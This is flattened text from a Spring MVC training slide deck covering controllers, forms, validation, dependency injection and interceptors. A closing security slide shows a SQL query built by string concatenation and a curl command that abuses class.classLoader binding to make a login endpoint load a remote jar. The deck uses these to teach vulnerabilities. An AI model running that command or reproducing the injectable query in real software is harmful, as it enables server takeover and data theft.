Remind us again about:
@Autowire
)@Controller
-annotated classesImmutable (see advanced section)
@XmlRootElement(name = "TodoItem")
@XmlAccessorType(XmlAccessType.NONE)
public class TodoItem {
public static TodoItem create(String title) {
return new TodoItem(UUID.randomUUID(), title);
}
@XmlElement(name = "ID") private UUID id;
@NotBlank @XmlElement(name = "Title") private String title;
public String getTitle() { return title; }
public UUID getId() { return id; }
private TodoItem(UUID id, String title) { ... }
}
Creating/editing a todo item
<h3>Todo item</h3>
<form:form id="form" method="post" modelAttribute="item">
<form:hidden path="id"/>
<div>
<form:label path="title">
<spring:message code="item.title" />
</form:label>
<form:input path="title" placeholder="What needs to be done?" />
<form:errors path="title" />
</div>
<div><button type="submit" class="btn">Save</button></div>
</form:form>
ViewResolver
@Controller @RequestMapping("/todos") public class CreateTodoController {
@ModelAttribute("item")
public TodoItem item() { return TodoItem.empty(); }
@RequestMapping(value="/create", method = GET)
public String showCreate() { return "/todo/create"; }
@RequestMapping(value="/create", method = POST)
public String createFromForm(@Valid @ModelAttribute("item") TodoItem item,
BindingResult result) {
if (result.hasErrors()) {
return showCreate();
} else {
todoService.save(item.withId());
return "redirect:/todos";
}
} }
UriComponentsBuilder
- to build up Location
headersInputStream
, OutputStream
- to get access to request and response streamsBindingResult
- Will contain any validation errors of @Valid
argumentsObject
- Model beans, url segments, ...
@ModelAttribute
- refer to scoped bean in model@PathVariable
- extract part of url into parameter@RequestBody
- capture / unmarshal request@Valid
- apply validations to beanString
- Logical view name to render (resolved by ViewResolver
)ModelAndView
- Logical view to render, and a map of model beansvoid
- Custom output, e.g. by using OutputStream
directly@ResponseBody Object
- Marshal object as XML or JSONAbstractAnnotationConfigDispatcherServletInitializer
web.xml
.@Configuration
classes.spring.xml
and spring-servlet.xml
.Advantages
LocaleResolver
bean which picks the request Locale
MessageSource
beans with your translated texts<spring:message code="item.title" />
fmt:
tag library (when using JstlView
)Spring MVC
Server-side MVC in general
Spring MVC
Server-side MVC in general
SpringJUnit4ClassRunner
or @WebAppConfiguration
, even tough they're tempting.
@RolesAllowed
annotation (recommended)Thank you
Jan Ypma
ypma@lundogbendsen.dk
Jan Ypma
ypma@lundogbendsen.dk
class Customer {
private String name;
public String getName() { return name; }
public void setName (String name) { this.name = name; }
/* many more fields and sub-objects */
}
Cache it!
... but what about those setters?
Customer
has at least the following fields:
class Customer {
private String name;
private UUID id;
/* getters and setters for all fields */
}
public void save (Customer c);
class Customer {
public Customer changeName(String first, String last) {
return new Customer (first, last, id, /* ... other ... */ );
}
}
ViewResolver
instantiates view from nameView
renders actual responseIntegration between Spring MVC and Hibernate validator
@Max(42)
, @NotEmpty
, @EMail
, ...@Valid
controller methods
MethodValidationPostProcessor
NotBlank.item.title = Todo item must have a title
<form:errors path="title" />
@Valid
argument: throws
MethodArgumentNotValidException
on
validation failure
public String handleCreate(@Valid Item item);
BindingResult
argument: receive validation errors
public String handleCreate(@Valid Item item, BindingResult errors);
1. Define your validation annotation
@Target( { METHOD, FIELD } )
@Retention(RUNTIME)
@Constraint(validatedBy = ExistingItemIDValidator.class)
public @interface ExistingItemID {
String message() default "{nl.ypmania.demo.ExistingItemID}";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2. Write the implementation
public class ExistingItemIDValidator
implements ConstraintValidator<ExistingItemID, UUID> {
@Autowired
private ItemService itemService;
@Override
public void initialize(ExistingItemID constraintAnnotation) { }
@Override
public boolean isValid(UUID id, ConstraintValidatorContext context) {
return (id == null) ? true : itemService.exists(id);
}
}
@RequestBody
and
@ResponseBody
to access (un)marshalled bodies@RequestMapping
with produces=
or consumes=
if overlap with HTML UI
MethodArgumentNotValidException
@Autowired private ItemService itemService;
private ItemService itemService;
@Autowired
public void setItemService(ItemService service) {
this.itemService = service;
}
public
(anyone can change it) or
package-private (only tests in same package can set up class)
private ItemService itemService;
@Autowired
public MyService (ItemService service) {
this.itemService = service;
}
Two easy ways to add processing around requests
HandlerInterceptor
WebConfig.addInterceptors(...)
WebInitializer.getServletFilters()
try
/ catch
jdbc.execute("SELECT FROM USERS WHERE name = '" + name +
"' AND password = '" + password + "'");
curl --data "class.classLoader.URLs[0]=jar:http://dl.com/dino.jar!/" \
http://mybank.com/login
Thank you
Jan Ypma
ypma@lundogbendsen.dk